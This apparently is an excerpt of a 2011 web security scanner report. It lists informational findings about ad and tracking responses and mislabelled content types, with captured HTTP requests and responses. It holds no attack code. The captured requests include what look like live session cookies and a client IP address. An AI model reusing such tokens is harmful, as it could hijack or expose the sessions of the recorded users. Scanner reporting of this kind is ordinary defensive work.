GET /jsc/d3/ff2.html?n=1133;c=173;s=24;d=9;w=300;h=250;l=http://adclick.g.doubleclick.net/aclk?sa=l&ai=BEX0mCndzTsf0DcOJgALUrb3-BsL17uACur-rqCqi06q2TaCNBhABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ&num=1&sig=AOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw&client=ca-pub-3796773913386149&adurl= HTTP/1.1
Host: d3.zedo.com
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-3796773913386149&output=html&h=250&slotname=1161958565&w=300&lmt=1316226009&flash=10.3.183&url=http%3A%2F%2Fportal.opera.com%2F&dt=1316208008700&bpp=201&shv=r20110907&jsv=r20110914&correlator=1316208009033&frm=4&adk=265923585&ga_vid=1095286181.1316208009&ga_sid=1316208009&ga_hid=212708364&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=20&u_nmime=100&dff=arial&dfs=12&biw=1131&bih=870&eid=36887101&ref=http%3A%2F%2Fwww.opera.com%2Fcompany%2F&prodhost=googleads.g.doubleclick.net&fu=0&ifi=1&dtd=423&xpc=B211ORtJZa&p=http%3A//portal.opera.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: FFBbh=977B305,20|149_1#0; FFAbh=977B305,20|149_1#365; ZEDOIDA=k5xiThcyanucBq9IXvhSGSz5~090311; ZEDOIDX=13; PI=h484782Za669089Zc826000622,826000622Zs403Zt1255Zm784Zb43199; FFgeo=5386156; FFMChanCap=2457780B305,825#722607,7038#1013066#971199:767,4#789954:951,2#887163|0,1#0,24:0,10#0,24:0,10#0,24:0,1#0,24:0,12#0,24; ZFFAbh=977B826,20|121_977#365; ZFFBbh=987B826,20|121_977#0; FFMCap=2470080B826,110235,110236:933,196008:951,125046|0,1#0,24:0,1#0,24:0,3#0,24:0,3#0,24

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Last-Modified: Tue, 13 Sep 2011 04:47:39 GMT
ETag: "3a9d45b-a35-4accb57d8b0c0"
Vary: Accept-Encoding
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: text/html
Content-Length: 2613
Cache-Control: max-age=141058
Expires: Sun, 18 Sep 2011 07:30:23 GMT
Date: Fri, 16 Sep 2011 16:19:25 GMT
Connection: close


<html>
<head>
<script language="JavaScript">
var r3=new Image();var zzblist=new Array();var zzllist=new Array();var zzl;var zzStart=new
...[SNIP]...

24.4. http://fei-zyfer.com/loading.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fei-zyfer.com
Path:	/loading.gif

Request

GET /loading.gif HTTP/1.1
Host: fei-zyfer.com
Proxy-Connection: keep-alive
Referer: http://fei-zyfer.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=185748286.1001217547.1316214139.1316214139.1316214139.1; __utmb=185748286.1.10.1316214139; __utmc=185748286; __utmz=185748286.1316214139.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 18:01:29 GMT
Server: ConcentricHost-Ashurbanipal/2.0 (XO(R) Web Site Hosting)
Accept-Ranges: bytes
Content-Length: 149
Content-Type: text/html

<html><head><title>404 Not Found</title></head><body><h1>404 Not Found</h1>The requested URL /loading.gif was not found on this server.</body></html>

24.5. http://fei-zyfer.com/qmimages/cssalt1_arrow_down.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fei-zyfer.com
Path:	/qmimages/cssalt1_arrow_down.gif

Request

GET /qmimages/cssalt1_arrow_down.gif HTTP/1.1
Host: fei-zyfer.com
Proxy-Connection: keep-alive
Referer: http://fei-zyfer.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 18:01:28 GMT
Server: ConcentricHost-Ashurbanipal/2.0 (XO(R) Web Site Hosting)
Accept-Ranges: bytes
Content-Length: 169
Content-Type: text/html

<html><head><title>404 Not Found</title></head><body><h1>404 Not Found</h1>The requested URL /qmimages/cssalt1_arrow_down.gif was not found on this server.</body></html>

24.6. http://fei-zyfer.com/qmimages/cssalt1_arrow_right.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fei-zyfer.com
Path:	/qmimages/cssalt1_arrow_right.gif

Request

GET /qmimages/cssalt1_arrow_right.gif HTTP/1.1
Host: fei-zyfer.com
Proxy-Connection: keep-alive
Referer: http://fei-zyfer.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 18:01:28 GMT
Server: ConcentricHost-Ashurbanipal/2.0 (XO(R) Web Site Hosting)
Accept-Ranges: bytes
Content-Length: 170
Content-Type: text/html

<html><head><title>404 Not Found</title></head><body><h1>404 Not Found</h1>The requested URL /qmimages/cssalt1_arrow_right.gif was not found on this server.</body></html>

24.7. http://g-ecx.images-amazon.com/images/G/01/associates/widgets/20070822/US/html/preload_retail_asset._V152385065_.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://g-ecx.images-amazon.com
Path:	/images/G/01/associates/widgets/20070822/US/html/preload_retail_asset._V152385065_.html

Request

GET /images/G/01/associates/widgets/20070822/US/html/preload_retail_asset._V152385065_.html HTTP/1.1
Host: g-ecx.images-amazon.com
Proxy-Connection: keep-alive
Referer: http://portal.opera.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Server
Content-Length: 1947
Last-Modified: Wed, 07 Sep 2011 11:59:36 GMT
Content-Type: text/html
X-Cache-Lookup: MISS from cdn-images.amazon.com:10080
Cache-Control: public, max-age=630080764
Expires: Thu, 04 Sep 2031 06:45:46 GMT
Date: Fri, 16 Sep 2011 16:19:42 GMT
Connection: close

<html>
<body>
<script language="javascript" type="text/javascript">
var scr = document.createElement('script');
var thisurl=window.location.href;

if (thisurl.mat
...[SNIP]...

24.8. http://mediacdn.disqus.com/1316112938/build/system/def.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mediacdn.disqus.com
Path:	/1316112938/build/system/def.html

Request

GET /1316112938/build/system/def.html HTTP/1.1
Host: mediacdn.disqus.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/2011/09/godaddy-websites-compromised-with.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: disqus_unique=608614822849; __qca=P0-943627109-1315055753168; sessionid=ebeeeac597d2aa02500a0fdc973b4e14; __utma=113869458.1840189074.1315055753.1315760571.1316054545.12; __utmz=113869458.1316054545.12.12.utmcsr=gossipcop.com|utmccn=(referral)|utmcmd=referral|utmcct=/scarlett-johansson-naked-pics-leak-nude-pictures-photos-leaked-scarlet-johanson-johansen-hacked-real-fake/

Response

HTTP/1.1 200 OK
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Thu, 15 Sep 2011 21:14:21 GMT
P3P: CP="DSP IDC CUR ADM DELi STP NAV COM UNI INT PHY DEM"
Content-Type: text/html
Vary: Accept-Encoding
Content-Length: 27790
X-Varnish: 2164052822 2164044994
Cache-Control: max-age=2517904
Expires: Sat, 15 Oct 2011 21:20:28 GMT
Date: Fri, 16 Sep 2011 17:55:24 GMT
Connection: close

<!DOCTYPE html>

<html>
<body>
<script>
document.domain = 'disqus.com';

var urls = {
sigma: (document.location.protocol == 'https:' ? 'https:' : 'http:') + '//sigma.disqus.c
...[SNIP]...

24.9. http://mediacdn.disqus.com/1316112938/build/system/reply.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mediacdn.disqus.com
Path:	/1316112938/build/system/reply.html

Request

GET /1316112938/build/system/reply.html HTTP/1.1
Host: mediacdn.disqus.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/2011/09/godaddy-websites-compromised-with.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: disqus_unique=608614822849; __qca=P0-943627109-1315055753168; sessionid=ebeeeac597d2aa02500a0fdc973b4e14; __utma=113869458.1840189074.1315055753.1315760571.1316054545.12; __utmz=113869458.1316054545.12.12.utmcsr=gossipcop.com|utmccn=(referral)|utmcmd=referral|utmcct=/scarlett-johansson-naked-pics-leak-nude-pictures-photos-leaked-scarlet-johanson-johansen-hacked-real-fake/

Response

HTTP/1.1 200 OK
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Thu, 15 Sep 2011 21:14:26 GMT
P3P: CP="DSP IDC CUR ADM DELi STP NAV COM UNI INT PHY DEM"
Content-Type: text/html
Vary: Accept-Encoding
Content-Length: 33094
X-Varnish: 2164040860 2164038400
Cache-Control: max-age=2517745
Expires: Sat, 15 Oct 2011 21:17:49 GMT
Date: Fri, 16 Sep 2011 17:55:24 GMT
Connection: close

<!DOCTYPE html>

<html>
<head>
<meta charset="utf-8">
<title></title>
<script>document.domain = 'disqus.com';</script>

<style type="text/css">

...[SNIP]...

24.10. http://mediacdn.disqus.com/1316112938/build/system/upload.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mediacdn.disqus.com
Path:	/1316112938/build/system/upload.html

Request

Response

24.11. http://now.eloqua.com/visitor/v200/svrGP.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://now.eloqua.com
Path:	/visitor/v200/svrGP.aspx

Request

GET /visitor/v200/svrGP.aspx?pps=3&siteid=2231&ref2=elqNone&tzo=360&ms=832 HTTP/1.1
Host: now.eloqua.com
Proxy-Connection: keep-alive
Referer: http://www.blackbaud.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ELOQUA=GUID=F788D26BA3284C76A75E75F5D13F522A; ELQSTATUS=OK

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
P3P: CP="IDC DSP COR DEVa TAIa OUR BUS PHY ONL UNI COM NAV CNT STA",
Date: Fri, 16 Sep 2011 15:29:20 GMT
Content-Length: 49

GIF89a...................!.......,...........T..;

24.12. http://player.ooyala.com/info/primary/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://player.ooyala.com
Path:	/info/primary/

Request

GET /info/primary/ HTTP/1.1
Host: player.ooyala.com
Proxy-Connection: keep-alive
Referer: http://player.ooyala.com/static/cacheable/8933d67147be1f15015cae08f54944fc/player_v2.swf
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=131238736.759487282.1315547307.1315547307.1315547307.1; __utmz=131238736.1315547307.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _mkto_trk=id:447-EQK-225&token:_mch-ooyala.com-1315547307468-28819

Response

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 381
Date: Fri, 16 Sep 2011 15:27:29 GMT
Connection: close
Vary: Accept-Encoding

Tw754mnF++p1HoIp78a0Mk9lBzSdp2yjaviF3v6/AZUXeIs2ZJaHDIfxVMbahJtECat7g5ZcNOOGJuXRAvgWXsNoFpjHb4u/fTIKEECMcLrwkpe4/WQSP5S/VuXe6RIYVlJh3gF4d7B8TSW2sJk3D2abrFwWYOEV1CqDhGzU/E65pL54bTTX+ZN6i7rkz8QoplA0eT2a
...[SNIP]...

24.13. http://rover.ebay.com/ar/1/711-53200-19255-108/1 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rover.ebay.com
Path:	/ar/1/711-53200-19255-108/1

Request

Response

24.14. https://support.socketlabs.com/rss/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://support.socketlabs.com
Path:	/rss/

Request

GET /rss/?63681bd8 HTTP/1.1
Host: support.socketlabs.com
Connection: keep-alive
Referer: https://support.socketlabs.com/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: application/xml, text/xml, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wooTracker=U1NI3DMK2PFIBO4BHUYTYMWQTGG1A999; wooMeta=ODUwNjQmMSYyJjI4OTYxOSYxMzE2MTg2Nzk5NDEwJjEzMTYxODcwODkwMjgmaHR0cCUzQSUyRiUyRnd3dy5nb29nbGUuY29tJTJGc2VhcmNoJTNGc291cmNlaWQlM0RjaHJvbWUlMjZpZSUzRFVURi04JTI2cSUzRHNtdHAlMkJzZXJ2ZXImMTAxJnNtdHArc2VydmVyJjUwMDI1OSYmJiY=; SWIFT_client=a%3A1%3A%7Bs%3A15%3A%22templategroupid%22%3Bs%3A1%3A%221%22%3B%7D; SWIFT_sessionid40=es1qz018py0u704q2o1k7083rf1lm0bf

Response

HTTP/1.0 404 Not Found
Date: Fri, 16 Sep 2011 15:22:11 GMT
Server: Apache
X-Powered-By: PHP/5.3.3-1ubuntu9.1
Status: 404 Not Found
Vary: Accept-Encoding
Content-Length: 233
Connection: close
Content-Type: text/html

<div style="BACKGROUND: #f8ebeb; FONT: 13px Trebuchet MS, Verdana, Helvetica, Arial; BORDER: 1px SOLID #751616; PADDING: 10px; MARGIN: 5px;"><font color="red">[User Error]: 63681bd8 not found (include
...[SNIP]...

24.15. http://t.tellapart.com/hif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://t.tellapart.com
Path:	/hif

Request

GET /hif?p=vobmfNYCXJkpXrtb_UNRwyPDtCMLAAEAAAAQ8VfMRuCtWlGZKHGOFgAdYAsAAgAAABDBNWrL_D1gZ_QvSD7Ubh68CgADAAABMnMTUeAPAAQLAAAABAAAAAI5OQAAAAI3NQAAAAI3NAAAAAMxMDULAAUAAAAMZ01JVlhQT2pId09LAA==&tms=1316208686167 HTTP/1.1
Host: t.tellapart.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: drapt=ABJeb18jY0mSx9O1GhjWGagkBZ8cNX0k4oxPsv8LF9nJWKu12mbgkeBMt_o6CvAURFeGEBSF8UxpLeFjWV5Q2eOlAeV7yVQxxfhVQ6n7tXCCk-3AaAr-3DeDS9cBGOjMik-CONnHvyl4pD3SI4onQ1Vx5D2OKkZQcrsaYTa28GPXtJ-72-twAilquinwVbDX2VnkhBOx2C9B; __cmbGU=ABJeb1_3NV-wS9CA4xNFiv3ShLSU4iGgty4u6k9WHsPFv60ohMiFdyhiaxwr6ZVfLN137aUZJTCXZJufx_taXD_Nnqj8E6TcGg; AWSELB=E31F5987121C4E93C56CFAE300CB3FAA8458B8275ED54EFB1FBFC3259C68A4A477202DDBEDB9857088204A944F7B0E0B304C51662855C88DA4DD00256DCA9F810994CC9BEC

Response

24.16. http://view.atdmt.com/iaction/adoapn_AppNexusDemoActionTag_1 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://view.atdmt.com
Path:	/iaction/adoapn_AppNexusDemoActionTag_1

Request

GET /iaction/adoapn_AppNexusDemoActionTag_1 HTTP/1.1
Host: view.atdmt.com
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/smtp-server-software-2/?gclid=CL3QyvqJoqsCFSOAgwodRgln2A
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AA002=1314814617-3398750; TOptOut=1; ach00=eb2a/1c72:ec40/2f33; ach01=da2c1b5/1c72/e2f178b/eb2a/4e67d23e:da2c0cc/1c72/85c9f4b/eb2a/4e67d832:ca9bfb6/2f33/14f1ae7d/ec40/4e67d8e2; ANON=A=09C89511BF100DC2E6BE1C66FFFFFFFF&E=bb2&W=1; NAP=V=1.9&E=b58&C=FWWeOdQjav4-01BzsznEtT1CJyfe8xjK06kPzseNod3oP8GMWbUKsw&W=1; MUID=9FA60E9E25934DD3BB2BBC07F1AAFA23

Response

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Type: text/html
Expires: 0
Vary: Accept-Encoding
Date: Fri, 16 Sep 2011 15:27:15 GMT
Connection: close
Content-Length: 441

<html><body><img src="http://spe.atdmt.com/images/pixel.gif" width="1" height="1" border="0" /><img src="http://ib.adnxs.com/pxj?bidder=55&action=SetAdMarketCookies(%22AA002%3d1314814617-3398750%7cMUI
...[SNIP]...

24.17. http://www.godaddy.com/sso/keepalive.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/sso/keepalive.aspx

Request

GET /sso/keepalive.aspx?rand=11727 HTTP/1.1
Host: www.godaddy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.godaddy.com/gdshop/site_search.asp?ci=9104&pageNum=1&searchFor=xss
Cookie: ASP.NET_SessionId=vb1jphe2sxzvygvmo3bblx55; preferences1=_sid=&dataCenterCode=US&gdshop_currencyType=USD; adc1=US; SplitValue1=19; HPBackground=DanicaImageOne; currency1=potableSourceStr=USD; flag1=cflag=us; currencypopin1=cdisplaypopin=false; traffic=referringdomain=&referringpath=2a590ae0%2D0ee8%2D47bd%2D8061%2Daf016da64611&shopper=&querystring=ci%3D9104%26pageNum%3D1%26searchFor%3Dxss&server=M1PWCORPWEB181&isc=&privatelabelid=1&page=%2Fgdshop%2Fsite%5Fsearch%2Easp&sitename=www%2Egodaddy%2Ecom&clientip=50%2E23%2E123%2E106&status=200+OK&referrer=http%3A%2F%2Fwww%2Egodaddy%2Ecom%2F&cookies=1; pathway=2a590ae0-0ee8-47bd-8061-af016da64611; pagecount=1; actioncount=; app_pathway=; visitor=vid=2a590ae0-0ee8-47bd-8061-af016da64611; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; domainYardVal=%2D1; serverVersion=A; ASPSESSIONIDQCRSARQR=BGAMBCHBECAECHGCHMMADCKA

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Fri, 16 Sep 2011 18:07:30 GMT
Content-Length: 43

GIF89a.............!.......,...........D..;

25. Content type incorrectly stated previous next
There are 25 instances of this issue:

http://amch.questionmarket.com/adscgen/st.php
http://cdn.apture.com/media/searchfilter.khtml.v41994028.js
http://event.adxpose.com/event.flow
http://l.apture.com/v3/
http://livechat.iadvize.com/rpc/referrer.php
https://login.secureserver.net/images/favicon_pl.ico
https://login.secureserver.net/images/login/login_mmail.jpg
http://media.ubm.com/images/webdriver/toolbar/print.gif
http://media.ubm.com/images/webdriver/toolbar/rss.gif
http://now.eloqua.com/visitor/v200/svrGP.aspx
http://player.ooyala.com/info/primary/
http://player.ooyala.com/sas/authorized
http://rover.ebay.com/ar/1/711-53200-19255-108/1
http://ws.amazon.com/widgets/q
http://www.amazon.com/gp/loader/jsonp
http://www.conversionruler.com/bin/tracker.php
http://www.drugstore.com/LookAheadSuggestions.aspx
http://www.godaddy.com/sso/keepalive.aspx
http://www.google.com/search
http://www.port25.com/favicon.ico
http://www.port25.com/includes/port25.css
http://www.snapengage.com/snapabug/ServiceGetConfig
http://www.socketlabs.com/highslide/graphics/zoomout.cur
http://www.stumbleupon.com/hostedbadge.php
http://www.zoomerang.com/Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

25.1. http://amch.questionmarket.com/adscgen/st.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://amch.questionmarket.com
Path:	/adscgen/st.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

25.2. http://cdn.apture.com/media/searchfilter.khtml.v41994028.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://cdn.apture.com
Path:	/media/searchfilter.khtml.v41994028.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain plain text.

Request

GET /media/searchfilter.khtml.v41994028.js HTTP/1.1
Host: cdn.apture.com
Proxy-Connection: keep-alive
Referer: http://cdn.apture.com/media/html/aptureLoadIframe.html?v=41994028
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AC=FQtL8KWd11; __utma=1.1966248178.1316213741.1316213741.1316213741.1; __utmb=1.1.10.1316213741; __utmc=1; __utmz=1.1316213741.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 17:54:52 GMT
Server: PWS/1.7.3.3
X-Px: ht h0-s1003.p10-sjc.cdngp.net
P3P: CP="NON CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa HISa OUR LEG UNI COM NAV INT"
Cache-Control: max-age=604800
Expires: Thu, 22 Sep 2011 22:09:18 GMT
Age: 71134
Content-Length: 4080
Content-Type: application/x-javascript
Vary: Accept-Encoding
Last-Modified: Thu, 15 Sep 2011 22:05:21 GMT
Connection: keep-alive

apture.fileCache.load("searchfilter", "if(window.apture.Iv)window.apture.Iv.Yv=/\\b(be~?an~?er|qu~?ee~?f|mo~?th~?er~?fu~?ck~?s|ej~?ac~?ul~?at~?ed|cu~?nt~?li~?ck~?er|as~?sh~?ol~?es|mi~?lf|pe~?ni~?s|pi~
...[SNIP]...

25.3. http://event.adxpose.com/event.flow previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://event.adxpose.com
Path:	/event.flow

Issue detail

The response contains the following Content-type statement:

Content-Type: text/javascript;charset=UTF-8

The response states that it contains script. However, it actually appears to contain plain text.

Request

GET /event.flow?eventcode=000_000_12&location=http%3A%2F%2Fgoogleads.g.doubleclick.net%2Fpagead%2Fads%3Fclient%3Dca-pub-3796773913386149%26output%3Dhtml%26h%3D250%26slotname%3D1161958565%26w%3D300%26lmt%3D1316226341%26flash%3D10.3.183%26url%3Dhttp%253A%252F%252Fportal.opera.com%252Fportal%252Ftabs%252F%253Ftab_name%253DNews%26dt%3D1316208341657%26bpp%3D148%26shv%3Dr20110907%26jsv%3Dr20110914%26correlator%3D1316208341881%26frm%3D4%26adk%3D265923585%26ga_vid%3D1095286181.1316208009%26ga_sid%3D1316208009%26ga_hid%3D320694430%26ga_fc%3D1%26u_tz%3D-300%26u_his%3D2%26u_java%3D1%26u_h%3D1200%26u_w%3D1920%26u_ah%3D1156%26u_aw%3D1920%26u_cd%3D16%26u_nplug%3D20%26u_nmime%3D100%26dff%3Darial%26dfs%3D12%26adx%3D739%26ady%3D181%26biw%3D1131%26bih%3D870%26eid%3D36887102%26ref%3Dhttp%253A%252F%252Fportal.opera.com%252F%26prodhost%3Dgoogleads.g.doubleclick.net%26fu%3D0%26ifi%3D1%26dtd%3D240%26xpc%3DNxfq0ro1Gs%26p%3Dhttp%253A%2F%2Fportal.opera.com&uid=TVYMYp4lQTRs9JsS_40691941&xy=0%2C0&wh=300%2C250&vchannel=59371577&cid=3941858&iad=1316208343619-68901827069930740&cookieenabled=1&screenwh=1920%2C1200&adwh=300%2C250&colordepth=16&flash=10.3&iframed=1 HTTP/1.1
Host: event.adxpose.com
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-3796773913386149&output=html&h=250&slotname=1161958565&w=300&lmt=1316226341&flash=10.3.183&url=http%3A%2F%2Fportal.opera.com%2Fportal%2Ftabs%2F%3Ftab_name%3DNews&dt=1316208341657&bpp=148&shv=r20110907&jsv=r20110914&correlator=1316208341881&frm=4&adk=265923585&ga_vid=1095286181.1316208009&ga_sid=1316208009&ga_hid=320694430&ga_fc=1&u_tz=-300&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=20&u_nmime=100&dff=arial&dfs=12&adx=739&ady=181&biw=1131&bih=870&eid=36887102&ref=http%3A%2F%2Fportal.opera.com%2F&prodhost=googleads.g.doubleclick.net&fu=0&ifi=1&dtd=240&xpc=Nxfq0ro1Gs&p=http%3A//portal.opera.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: evlu=ec39c893-8f48-41a8-9b1f-be5afaba100a

Response

25.4. http://l.apture.com/v3/ previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://l.apture.com
Path:	/v3/

Issue detail

The response contains the following Content-type statement:

Content-Type: text/javascript

The response states that it contains script. However, it actually appears to contain plain text.

Request

